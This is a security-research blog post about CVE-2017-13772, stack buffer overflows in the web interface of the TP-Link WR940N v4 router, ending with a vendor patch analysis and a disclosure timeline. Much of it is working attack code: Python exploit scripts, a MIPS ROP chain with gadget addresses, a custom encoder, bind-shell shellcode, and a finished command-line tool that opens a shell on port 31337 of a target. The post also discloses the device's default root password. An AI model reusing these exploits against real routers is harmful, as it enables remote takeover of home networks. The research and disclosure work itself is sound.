Research

Remote Code Execution (CVE-2017-13772) Walkthrough on a TP-Link Router

Introduction

In this post, I will be discussing my recent findings while conducting vulnerability research on a home router: TP-Link’s WR940N home WiFi router.

This post will outline the steps taken to identify vulnerable code paths, and how we can exploit those paths to gain remote code execution. I will start by describing how I found the first vulnerability, the methods taken to develop a full working exploit and then follow this by showing that this vulnerability presents a “pattern” that potentially exposes this device to hundreds of exploits.

The Device

The device I conducted this research on was the WR940N home WiFi router from TP-Link (hardware version 4). Generally, the first thing I do when beginning a research cycle on an Internet of Things (IoT) device is to grab a copy of the firmware and extract the filesystem.

Firmware link: https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

We can see here that binwalk has identified and extracted the filesystem. The next step is to gather a few bits of information about what’s running on the device. To start with, I grab the contents of the shadow file (reasons for this will become apparent soon).

Most embedded systems I’ve researched use busybox, so it’s important to see what we can run should we find some form of shell injection. There are two ways to do this; one would be to list all the symlinks to busybox. However, I prefer to run the busybox binary under qemu under a chrooted environment as it will tell us what utilities it has enabled:

So no telnetd, netcat etc. However, we do have tftp, which we could use if we were able to obtain shell injection. Finally, a quick look at rc.d/rcS shows that the last thing the router does when it boots up is run the httpd binary, I thought I’d start here as the HTTP daemon usually presents a large attack surface.

Assessing the Device

During initial testing of the web interface, I identified an area that would cause the device to stop responding if a large string was passed. What interested me here was that the user was prevented from entering more than 50 characters through client-side code:

Obviously, this was easily bypassed with Burp Suite. While waiting for a USB to uart device to turn up, I decided to “fuzz” these fields a little bit, and I found that giving a ping_addr of 51 bytes resulted in:

Although the HTTP port was still open. Using some dumb fuzzing, I just increased this to 200, and found that this did indeed crash the service:

So at this point, we have a Denial of Service (DoS) vulnerability, but that’s pretty boring. To properly debug what is happening I needed to access the device through its uart interface, the steps I took came from https://wiki.openwrt.org/toh/tp-link/tl-wr940n. Note that we are presented with a login prompt once the device is finished booting, you could try to crack the password in the shadow file above, or you could do what I did and google it – the password for root is sohoadmin.

Now we have access to the device; we can have a look around to ascertain what is actually running. We can see here that the httpd binary is responsible for a lot of processes.

One last step to take here is to download gdbserver. I had a lot of trouble getting a cross-compiled gdbserver to run properly, luckily, however, if you download the GPL source code for this device there’s a precompiled gdbserver binary there. I copied that across using SCP and then after a bit of trial and error found that attaching to the last httpd process gave us the ability to debug the actual web interface.

The Vulnerability

As mentioned above, the HTTP service would crash if I supplied user input to an interface that was larger than what the JavaScript code would allow.

Opening the binary up in IDA shows us clearly what is happening, starting with, in sub_453C50 there is typical functionality for checking the request is valid and authenticated:

Next, there is a call to httpGetEnv, note that values like “ping_addr”, “isNew” etc. are values passed through GET parameters. And then later on (still in the same function), ipAddrDispose is called:

This function is where the (first) vulnerability exists. At the start of the function, a stack variable is declared, var_AC. It is then passed as the destination argument to the call to strcpy, the problem here is that the source argument ($s1) is the first argument to the function, and no validation is done on its length – a classic buffer overflow.

Proof of Concept

I wrote a quick python script to trigger the vulnerability – note the login function. When we login to this device a random URL is generated.

import urllib2 import urllib import base64 import hashlibdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print "[debug] Encoded authorisation: %s" %encoded_string#### Send the request url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("=")[2].split("/")[3]) print "[debug] Got random path for next stage, url is now %s" %next_urlreturn (next_url, encoded_string)def exploit(url, auth): #trash,control of s0,s1 + ra + shellcode evil = "\x41"*800 params = {'ping_addr': evil, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req) if __name__ == '__main__': data = login("192.168.0.1", "admin", "admin") exploit(data[0], data[1])

Firing up gdbserver (remember to attach to the last httpd process), I set a break point just before ipAddrDispose exits and then ran the proof of concept:

We can see here we have gained control of the return address. After doing the typical msf_pattern_create/pattern_offset routine, we find that $ra is overwritten at offset 168, and we have control of $s0 and $s1 at offsets 160 and 164 respectively. We also have a nice big buffer on the stack to put shellcode in:

Developing the Exploit

To develop this exploit, there are a few things to note about the Mips architecture. The first is cache in-coherency. This has been covered extensively in other blogs (I suggest https://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/). Put simply, if we try to execute shellcode on the stack, the CPU will check if it has data from that virtual address in its cache already, if it does it will execute that, which means whatever was on the stack before we triggered our exploit will most likely get executed. Moreover, if our shellcode has self-modifying properties (IE we use an encoder), the encoded instructions will end up being executed instead of the decoded.

Reference: https://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

As outlined in many of the online resources I found, the best way to flush the cache is to ROP into a call to sleep. I will end up making two calls to sleep, once straight after triggering the vulnerability, and the second after my decoder finishes decoding the instructions with bad bytes (more on that later).

To identify which gadgets to use, we have to identify which libraries are executable, and the address at which they reside (note that there is no ASLR enabled by default).

httpd maps:

00400000-00587000 r-xp 00000000 1f:02 64 /usr/bin/httpd

00597000-005b7000 rw-p 00187000 1f:02 64 /usr/bin/httpd

005b7000-00698000 rwxp 00000000 00:00 0 [heap]

2aaa8000-2aaad000 r-xp 00000000 1f:02 237 /lib/ld-uClibc-0.9.30.so

2aaad000-2aaae000 rw-p 00000000 00:00 0

2aaae000-2aab2000 rw-s 00000000 00:06 0 /SYSV0000002f (deleted)

2aabc000-2aabd000 r–p 00004000 1f:02 237 /lib/ld-uClibc-0.9.30.so

2aabd000-2aabe000 rw-p 00005000 1f:02 237 /lib/ld-uClibc-0.9.30.so

2aabe000-2aacb000 r-xp 00000000 1f:02 218 /lib/libpthread-0.9.30.so

2aacb000-2aada000 —p 00000000 00:00 0

2aada000-2aadb000 r–p 0000c000 1f:02 218 /lib/libpthread-0.9.30.so

2aadb000-2aae0000 rw-p 0000d000 1f:02 218 /lib/libpthread-0.9.30.so

2aae0000-2aae2000 rw-p 00000000 00:00 0

2aae2000-2ab3f000 r-xp 00000000 1f:02 238 /lib/libuClibc-0.9.30.so<….. snip …..>7edfc000-7ee00000 rwxp 00000000 00:00 0

7effc000-7f000000 rwxp 00000000 00:00 0

7f1fc000-7f200000 rwxp 00000000 00:00 0

7f3fc000-7f400000 rwxp 00000000 00:00 0

7f5fc000-7f600000 rwxp 00000000 00:00 0

7fc8b000-7fca0000 rwxp 00000000 00:00 0 [stack]

LibuClibC-0.9.30.so looks like a good target, opening it up in IDA and using the mipsrop.py script from https://www.devttys0.com/2013/10/mips-rop-ida-plugin/, we can start looking for gadgets.

To start with, we need a gadget that does something like:

li $a0, 1 mov $t9, $s0 or $s1 #we control $s0 and $s1 jr $t9

The first command to run is mipsrop.set_base(0x2aae000), which will automatically calculate the actual address for us.

Notice the 2nd gadget, it returns to the address in $s1:

This is the gadget I use to set up the call to sleep; it’s address is what will overwrite the return address from ipAddrDispose.

The next gadget we need (which will be put in $s1) needs to call sleep, but before it does it needs to put the address of the gadget we want to call after sleep into ra. We can use mipsrop.tail() to find such gadgets

This gadget works well, the only thing to note here is it will end up calling itself on the first run.

The first time it is called, $s1 will contain 0x2AE3840, which will be used as the address to jump to in $t9. To get this gadget to work properly, we need to prepare the stack. On the first call, we need to place the address of sleep into $s1, so this needs to be at 0x20($sp). On the second call to this gadget, $t9 will have the address of sleep, and we need to put the address of the next gadget we want to call at 0x24($sp) and then we may want to fill $s0 and $s1 with our final gadget (which will jump to our shellcode).

This gives us the following payload:

Trash $s1 $ra rop = “A”*164 + call_sleep + prepare_sleep + “B”*0x20 + sleep_addr

$s0 $s1 $ra rop += “C”*0x20 + “D”*4 + “E”*4 + next_gadg

The next gadget to call (after the return from sleep) needs to store the stack pointer in a register and then jump to an address in either $s0 or $s1 (as we control both of those). This will then lead to the final gadget which will jump to that register (meaning it will jump to somewhere on the stack, preferably where the shellcode is). A convenient function in mipsrop.py is stack stackfinder():

Almost all of these gadgets seem promising. Looking at the last one:

Knowing that $s0 can be controlled from the previous gadget, all that’s required to do now is find a gadget that jumps to the address in $s2 (which will be a stack address).

Any one of these gadgets would work. I prefer to use gadgets that have the smallest amount of impact on other registers, which I found here:

At this point, the payload looks like this:

nop = “\x22\x51\x44\x44”

gadg_1 = “\x2A\xB3\x7C\x60”

gadg_2 = “\x2A\xB1\x78\x40”

sleep_addr = “\x2a\xb3\x50\x90”

stack_gadg = “\x2A\xAF\x84\xC0”

call_code = “\x2A\xB2\xDC\xF0″def first_exploit(url, auth):

# trash $s1 $ra

rop = “A”*164 + gadg_2 + gadg_1 + “B”*0x20 + sleep_addr

rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

When this exploit is run, we end up in the middle of the NOP sled, the only thing left to do is; write some shellcode, identify the bad characters and append <decoder> + <sleep> + <encoded shellcode> to the exploit.

The only bad bytes I found were 0x20 and obviously 0x00.

I struggled to get any of the typical payloads to work properly, msf_venom wouldn’t work with a mips/long_xor encode. I also couldn’t get the bowcaster payloads to work either. I hadn’t written mips shellcode before, so I decided to write an extremely simple encoder, it only operates on the instructions which have bad bytes, by referencing their offset on the stack.

.set noreorder

#nop

addi $s5, $s6, 0x4444#xor key

li $s1, 2576980377#get address of stack

la $s2, 1439($sp)#s2 -> end of shellcode (end of all shellcode)

addi $s2, $s2, -864#decode first bad bytes

lw $t2, -263($s2)

xor $v1, $s1, $t2

sw $v1, -263($s2)#decode 2nd bad bytes

lw $t2, -191($s2)

xor $v1, $s1, $t2

sw $v1, -191($s2)<…snip…>##### sleep #####li $v0, 4166

li $t7, 0x0368

addi $t7, $t7, -0x0304

sw $t7, -0x0402($sp)

sw $t7, -0x0406($sp)

la $a0, -0x0406($sp)

syscall 0x40404

addi $t4, $t4, 4444 #nop

This obviously isn’t the most efficient way of doing things, as it requires finding the offsets of each bad byte on the stack (luckily mips is 4byte aligned instructions, so each offset is a multiple of 4). It also requires calculating the encoded value of each bad byte instruction. Having said that it worked perfectly.

The bind shell shellcode was quite simple.

.set noreorder

###### sys_socket ######

addiu $sp, $sp, -32

li $t6, -3

nor $a0, $t6, $zero

nor $a1, $t6, $zero

slti $a2, $0, -1

li $v0, 4183

syscall 0x40404##### sys_bind ####

add $t9, $t9, 0x4444 #nop

andi $s0, $v0, 0xffff

li $t6, -17 nor $t6, $t6, $zero

li $t5, 0x7a69 #port 31337 li $t7, -513

nor $t7, $t7, $zero

sllv $t7, $t7, $t6

or $t5, $t5, $t7 sw $t5, -32($sp) sw $zero,-28($sp)

sw $zero,-24($sp)

sw $zero,-20($sp)

or $a0, $s0, $s0

li $t6, -17 nor $a2, $t6, $zero

addi $a1, $sp, -32

li $v0, 4169

syscall 0x40404##### listen #####

li $t7,0x7350

or $a0,$s0,$s0

li $a1,257

li $v0,4174

syscall 0x40404##### accept #####

li $t7,0x7350

or $a0,$s0,$s0

slti $a1,$zero,-1

slti $a2,$zero,-1

li $v0,4168

syscall 0x40404##### dup fd’s ####

li $t7,0x7350

andi $s0,$v0,0xffff

or $a0,$s0,$s0

li $t7,-3

nor $a1,$t7,$zero

li $v0,4063

syscall 0x40404

li $t7,0x7350

or $a0,$s0,$s0

slti $a1,$zero,0x0101

li $v0,4063

syscall 0x40404

li $t7,0x7350

or $a0,$s0,$s0

slti $a1,$zero,-1

li $v0,4063

syscall 0x40404######execve######

lui $t7,0x2f2f

ori $t7,$t7,0x6269

sw $t7,-20($sp)

lui $t6,0x6e2f

ori $t6,$t6,0x7368

sw $t6,-16($sp)

sw $zero,-12($sp)

addiu $a0,$sp,-20

sw $a0,-8($sp)

sw $zero,-4($sp)

addiu $a1,$sp,-8

li $v0,4011

syscall 0x40404#### sleep #####

li $v0, 4166

li $t7, 0x0368

addi $t7, $t7, -0x0304

sw $t7, -0x0402($sp)

sw $t7, -0x0406($sp)

la $a0, -0x0406($sp)

syscall 0x40404

addi $t4, $t4, 4444

Notice that if we don’t sleep after calling execve the original process will die, killing all of the other httpd processes, stopping us from getting access to the bind shell.

The final exploit for this vulnerability is as follows:

import urllib2 import urllib import base64 import hashlib import osdef login(ip, user, pwd): #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print "[debug] Encoded authorisation: %s" %encoded_string #### Send the request url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" print "[debug] sending login to " + url req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) print "[debug] Got random path for next stage, url is now %s" %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder "\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99" "\x27\xb2\x05\x9f" "\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9" "\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41" "\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d" "\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71" "\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d" "\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99" "\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5" "\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad" "\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9" "\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1" "\x02\x2a\x18\x26\xae\x43\xff\xc1"#sleep "\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08" "\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"################ encoded shellcode ############### "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06" "\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff" "\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d" "\x7a\x69" #<------------------------- PORT 0x7a69 (31337) "\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad" "\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc" "\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01" "\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48" "\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f" "\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c" "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce" "\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02" "\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c" )###### useful gadgets ####### nop = "\x22\x51\x44\x44" gadg_1 = "\x2A\xB3\x7C\x60" gadg_2 = "\x2A\xB1\x78\x40" sleep_addr = "\x2a\xb3\x50\x90" stack_gadg = "\x2A\xAF\x84\xC0" call_code = "\x2A\xB2\xDC\xF0"def first_exploit(url, auth): # trash $s1 $ra rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr rop += "C"*0x20 + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)print "[debug] sending exploit..." print "[+] Please wait a few seconds before connecting to port 31337..." req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req)if __name__ == '__main__': data = login("192.168.0.1", "admin", "admin") first_exploit(data[0], data[1])

Further Analysis

This vulnerability has a very simple pattern, user input from a GET parameter is passed directly to a call to strcpy without any validation. Analysing the binary further, this same pattern presents itself in many locations.

In fact, there are an awful lot of calls to strcpy:

To the vendor’s credit, they supplied a patch to the first vulnerability within a few days. However, in my response, I outlined the fact that almost all of these calls to strcpy needed to be replaced with safer string copying functions. To prove this point, I decided to develop a second exploit, which triggers a buffer overflow in WanStaticIpV6CfgRpm.htm, through the dnsserver2 parameter.

This exploit is pretty much the same as before, with only a single offset changed in the custom encoder (as the stack pointer was pointing to a different location). The only major difference was something I hadn’t come across in my research in Mips exploit development, which is byte alignment.

Whilst developing this exploit I kept getting illegal instruction errors, and I noticed that my nop sled looked nothing like what it was supposed to:

Notice how all of the instructions are 2 bytes apart. The reason for this actually lies at the end of my payload:

The end of this buffer has input that I didn’t specify, forcing the payload to end up out of alignment. It turns out that even though this is at the very end, I needed to pad the final payload to bring it back into alignment, once this was done, the nopsled looks as it should:

And we get our bind shell:

The final code, which contains working exploits for both vulnerabilities is as follows:

(Note that in second_exploit, almost all of the GET parameters are vulnerable to a buffer overflow)

import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( "___________________________________________________________________________

" "WR940N Authenticated Remote Code Exploit

" "This exploit will open a bind shell on the remote target

" "The port is 31337, you can change that in the code if you wish

" "This exploit requires authentication, if you know the creds, then

" "use the -u -p options, otherwise default is admin:admin

" "___________________________________________________________________________" )def login(ip, user, pwd): print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd) #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string)print "[+] Encoded authorisation: %s" %encoded_string#### Send the request url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" print "[+] sending login to " + url req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req)#### The server generates a random path for further requests, grab that here data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) print "[+] Got random path for next stage, url is now %s" %next_url return (next_url, encoded_string)#custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder "\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99" "\x27\xb2\x05\x4b" #0x27b2059f for first_exploit "\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9" "\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41" "\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d" "\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71" "\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d" "\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99" "\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5" "\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad" "\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9" "\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1" "\x02\x2a\x18\x26\xae\x43\xff\xc1" #sleep "\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08" "\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c" ################ encoded shellcode ############### "\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06" "\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff" "\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d" "\x7a\x69" #<------------------------- PORT 0x7a69 (31337) "\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad" "\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc" "\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01" "\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48" "\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f" "\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50" "\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f" "\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c" "\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce" "\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8" "\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02" "\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa" "\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c" ) ###### useful gadgets ####### nop = "\x22\x51\x44\x44" gadg_1 = "\x2A\xB3\x7C\x60" gadg_2 = "\x2A\xB1\x78\x40" sleep_addr = "\x2a\xb3\x50\x90" stack_gadg = "\x2A\xAF\x84\xC0" call_code = "\x2A\xB2\xDC\xF0" def first_exploit(url, auth): # trash $s1 $ra rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4 rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) print "[+] sending exploit..." print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + "WanStaticIpV6CfgRpm.htm?" # trash s0 s1 s2 s3 s4 ret shellcode payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4 payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7 print len(payload) params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1', 'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000', 'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA', 'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'} new_url = url + urllib.urlencode(params) print "[+] sending exploit..." print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm") resp = urllib2.urlopen(req) if __name__ == '__main__': print banner username = "admin" password = "admin" parser = OptionParser() parser.add_option("-t", "--target", dest="host", help="target ip address") parser.add_option("-u", "--user", dest="username", help="username for authentication", default="admin") parser.add_option("-p", "--password", dest="password", help="password for authentication", default="admin") (options, args) = parser.parse_args() if options.host is None: parser.error("[x] A host name is required at the minimum [x]") if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string)

Impact

Currently, a quick search on shodan reveals 7200 of these devices connected to the internet. (This number has grown by 3500 in a month)

Patching the Vulnerability

To patch these vulnerabilities, the vendor needed to replace the majority of the calls to strcpy with safer operations, such as strncpy. To their credit, they achieved this very quickly and provided a full patch within a week of reporting the other vulnerable areas of code. I will quickly analyse the patches that were made.

The simplest thing to do first is to look at the cross-references to strcpy, from the vulnerable binary we had over 700 calls, and in the patched version we can see that this is no longer the case:

Further analysis on these locations shows that these calls do not operate on user input, for example:

Now if we analyse an area that we know was vulnerable, such as the dnsserver2 GET parameter:

For quick reference, $a0 = dest, $a1 = src, $a2 = size. So following this we can see that:

0x2C is loaded into $a2 before loc_452E0C. The “dnsserver2” parameter is then grabbed using httpGetEnv. If httpGetEnv returns 0 then the buffer var_24f is zeroed out. Otherwise, the pointer returned is moved to $a1. The size 0x2C is loaded into $a2. The destination is already in $a0 (it is moved in the delay slot before the branch occurs). After this, either memset or strncpy is called (through $t9), depending on the result of httpGetEnv.

As we can see this does not allow a buffer overflow to occur as only a maximum number of bytes can be copied into the buffer. Note that var_24F is a stack based buffer of size 0x2C.

In fact we can now see that the vulnerable pattern that was presented to the vendor has been replaced with a secure pattern. Therefore the patch properly protects against buffer overflows by removing calls to strcpy on input provided by the user.

Could Penetration Testing help prevent these issues in the future?

There’s no doubt that Penetration Testing and static code review of firmware would help prevent vulnerabilities from making it out of the development life-cycle. In fact, we’re currently finding such large numbers of vulnerabilities in Internet of Things (IOT) devices, some of which with a detrimental impact to users.

I imagine it’s only a matter of time before security companies are drafted in during the development cycle, rather than when it’s too late.

Tools Used:

Binwalk

IDA

Qemu

mipsrop.py plugin

USB 2.0 to TTL UART 6PIN CP2102 Module Serial Converter

Credit

Tim Carrington – @__invictus_ – as part of Fidus’ Penetration Testing & Research team.

References

https://wiki.openwrt.org/toh/tp-link/tl-wr940n

https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip

https://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/

https://cdn.imgtec.com/mips-training/mips-basic-training-course/slides/Caches.pdf

https://www.devttys0.com/2013/10/mips-rop-ida-plugin/

Timeline

Disclosed to vendor – 11/8/2017

Response from vendor, request for initial advisory – 14/8/2017

Initial advisory sent – 14/8/2017

Beta patch sent for testing by vendor – 17/8/2017

Patch confirmed to work, however other vulnerable locations were identified by myself, a second exploit was written to demonstrate this. Sent to vendor – 17/8/2017

Response by vendor, will look into the other vulnerable locations – 18/8/2017

Second patch sent for testing by vendor – 25/8/17

Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy removed) – 29/8/2017

Patch released – 28/9/2017 (Only HW V5 US)